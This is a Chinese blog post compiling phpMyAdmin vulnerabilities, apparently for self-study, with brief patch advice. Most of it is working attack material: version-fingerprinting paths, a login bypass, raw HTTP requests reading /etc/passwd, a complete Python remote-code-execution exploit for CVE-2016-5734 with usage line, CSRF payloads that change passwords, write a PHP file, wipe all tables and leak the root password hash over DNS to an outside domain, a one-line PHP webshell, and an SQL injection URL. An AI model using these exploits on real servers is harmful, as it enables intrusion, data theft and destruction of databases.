phpmyadmin漏洞汇总

phpmyadmin是一个非常常用的框架,所以学习它的常见漏洞是非常必要的。

参考大佬的文章进行自学:最全phpmyadmin漏洞汇总_phpmyadmin弱口令-CSDN博客

目录

phpmyadmin简介

查看phpmyadmin版本

漏洞及利用

万能密码登入

影响版本

漏洞POC

远程代码执行(CVE-2009-1151)

影响版本

漏洞POC

任意PHP代码(CVE-2012-5159)

漏洞原理

影响版本

漏洞POC

远程PHP代码执行(CVE-2013-3238)

漏洞原理

影响版本

漏洞poc    

任意文件读取漏洞(WooYun-2016-199433)

影响版本

漏洞poc

本地文件包含(CVE-2014 -8959)

 影响版本

漏洞poc

phpmyadmin远程代码执行漏洞(CVE-2016-5734)

漏洞原理

影响版本

漏洞POC

使用方式

修复建议

跨站请求伪造(CVE-2017-1000499)

影响版本

漏洞poc

本地文件包含漏洞(CVE-2018-12613)

漏洞原理

影响版本

漏洞POC

漏洞利用

验证文件包含漏洞

利用Session文件远程代码执行

修复建议

任意文件包含(CVE-2018-19968)

影响版本

漏洞poc

后台SQL注入

影响版本

漏洞poc


 

phpmyadmin简介

phpmyadmin是一个以PHP为基础,以web方式架构在网站主机上的mysql的数据库管理工具,让管理者可用web接口管理mysql数据库,便于远端管理mysql数据库。

查看phpmyadmin版本

在phpmyadmin的url后添加文件路径爆出

/readme
/changelog
/Change
/changelog.php  
/Documetation.html 
/Documetation.txt 
/translators.html
/doc/html/index.html

漏洞及利用

万能密码登入

影响版本

phpmyadmin2.11.9.2

phpmyadmin 2.11.3、2.11.4

漏洞POC

2.11.9.2版本,直接使用root用户登录,无需密码

2.11.3、2.11.4版本,在用户名处输入'localhost'@'@"(注意单引号双引号都是英文标点)。

远程代码执行(CVE-2009-1151)

影响版本

phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

漏洞POC

在配置文件/config/config.inc.php处

​利用模块:msf>> exploit/unix/webapp/phpmyadmin_config

任意PHP代码(CVE-2012-5159)

漏洞原理

文件server_sync.php中包含外部文件导致。

影响版本

phpmyadmin 3.5.2.2

漏洞POC

​利用模块:msf>> exploit/multi/http/phpmyadmin3522_backdoor

远程PHP代码执行(CVE-2013-3238)

漏洞原理

preg_replace()函数可被利用在服务器端执行任意PHP代码

影响版本

phpmyadmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

漏洞poc    

利用模块:msf>> exploit/multi/http/phpmyadminpregreplace

任意文件读取漏洞(WooYun-2016-199433)

影响版本

phpMyAdmin version 2.x版本

漏洞poc

    POST /scripts/setup.php HTTP/1.1
    Host: target.com
    Accept-Encoding: gzip, deflate Accept: */*
    Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 80
     
     
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

本地文件包含(CVE-2014 -8959)

 影响版本

phpMyAdmin version=4.0.1~4.2.12 && PHP version<5.3.4

漏洞poc

GET /gis_data_editor.php?token=token值&gis_data[gis_type]=/../../../../phpinfo.txt%00 HTTP/1.1 
Host: target.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80

phpmyadmin远程代码执行漏洞(CVE-2016-5734)

漏洞原理

由于PHP代码中的preg_replace函数(该函数是执行一个正则表达式并实现字符串的搜索和替换)中的$pattern的正则表达式中存在修正符。其中一个修正符"/e";在替换字符串中对逆向引用作正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串。

影响版本

phpmyadmin4.3.0-4.6.2

漏洞POC

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

使用方式

python3 phpmyadmin.py -u root -p "root" http://ip:8080 -c "system('id')"

phpmyadmin默认账户、密码为:root、root

修复建议

及时更新至5.0以上版本。

跨站请求伪造(CVE-2017-1000499)

影响版本

Phpmyadmin:4.7.6  
Phpmyadmin:4.7.0:Beta1  
Phpmyadmin:4.7.0:Rc1  
Phpmyadmin:4.7.5  
Phpmyadmin:4.7.4

漏洞poc

Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499
 
# Exploit CSRF - Modifying the password of current user
 
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
 
# Exploit CSRF - Arbitrary File Write
 
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />
 
# Exploit CSRF - Data Retrieval over DNS
 
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));
 
# Exploit CSRF - Empty All Rows From All Tables
 
<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

本地文件包含漏洞(CVE-2018-12613)

漏洞原理

当服务器开启allow_url_include选项时,就可以通过php的某地特性函数(include()、require()等)去利用url去动态包含文件,造成文件被解析。如果没有对文件来源进行严格的限制,就会导致任意文件读取或者任意命令执行。

还有另一种情况就是代码审计中,代码存在包含文件代码,且包含文件参数可控,也同样会导致任意文件读取。

影响版本

phpmyadmin4.8.0、4.8.0.1、4.8.1

漏洞POC

1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

2.包含Session文件:
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[phpmyadmin的Cookie值]

漏洞利用

这里使用vulhub靶场进行复现利用,vulhub搭建自行搜索。

1、开启靶场环境

cd phpmyadmin/CVE-2018-12613
docker-compose up -d
docker-compose ps

2、访问靶场页面http://ip:8080

验证文件包含漏洞

直接访问poc,读取/etc/passwd文件内容

利用Session文件远程代码执行

1、在phpmyadmin页面执行数据库查询语句,查询内容为php命令

select '<?=phpinfo()?>';

执行后,会在默认路径的tmp文件夹下临时生成session文件名称为sess_session值,并且会将查询语句写入。

2、查看phpmyadmin的session值

3、同样可以写入一句话木马

<?php @eval($_GET['s']);?>

修复建议

更新版本

任意文件包含(CVE-2018-19968)

影响版本

phpmyadmin 4.8.0 - 4.8.3

漏洞poc

1)创建数据库,并将PHP代码写入Session文件中:
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
 
2)生成foo数据库的phpMyAdmin的配置表,访问:
http://ip:8080/chk_rel.php?fixall_pmadb=1&db=foo
 
3)篡改数据插入pma column_info中:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_[session]','plop';
 
4)访问包含Session文件的地址:
http://ip:8080/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

后台SQL注入

影响版本

phpmyadmin 4 - 4.9.4

phpmyadmin 5 - 5.0.1

漏洞poc

1、首先要已知一个用户名密码(因为要登录后台操作)

2、然后构造payload:

http://ip/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

#token改成自己登录后的Token
#这里使用了报错注入
  • 11
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用\[1\]:根据网上公开的phpMyadmin文件包含漏洞,通过代码审计定位危险函数,然后逐步分析,最终确定payload,并通过本地搭建phpMyadminV4.8.1版本成功进行漏洞复现。实际上该漏洞对于大部分版本的phpMyadmin都生效,因此有使用该系统的需要引起格外的重视,及时修补该漏洞。\[1\]引用\[2\]:文件包含漏洞是指在程序中动态引用了用户可控制的文件,而没有对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意的文件路径来读取、执行或者包含任意文件。\[2\]引用\[3\]:在phpMyadmin的大部分版本中都存在文件包含漏洞。\[3\] 问题: phpmyadmin漏洞是什么? 回答: phpMyadmin漏洞是指在phpMyadmin程序中存在的文件包含漏洞。该漏洞允许攻击者通过构造恶意的文件路径来读取、执行或者包含任意文件。这个漏洞对于大部分版本的phpMyadmin都生效,因此使用该系统的用户需要格外重视,并及时修补该漏洞。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* *2* *3* [phpmyadminV4.8.1本地文件包含漏洞复现](https://blog.csdn.net/weixin_64551911/article/details/125609281)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值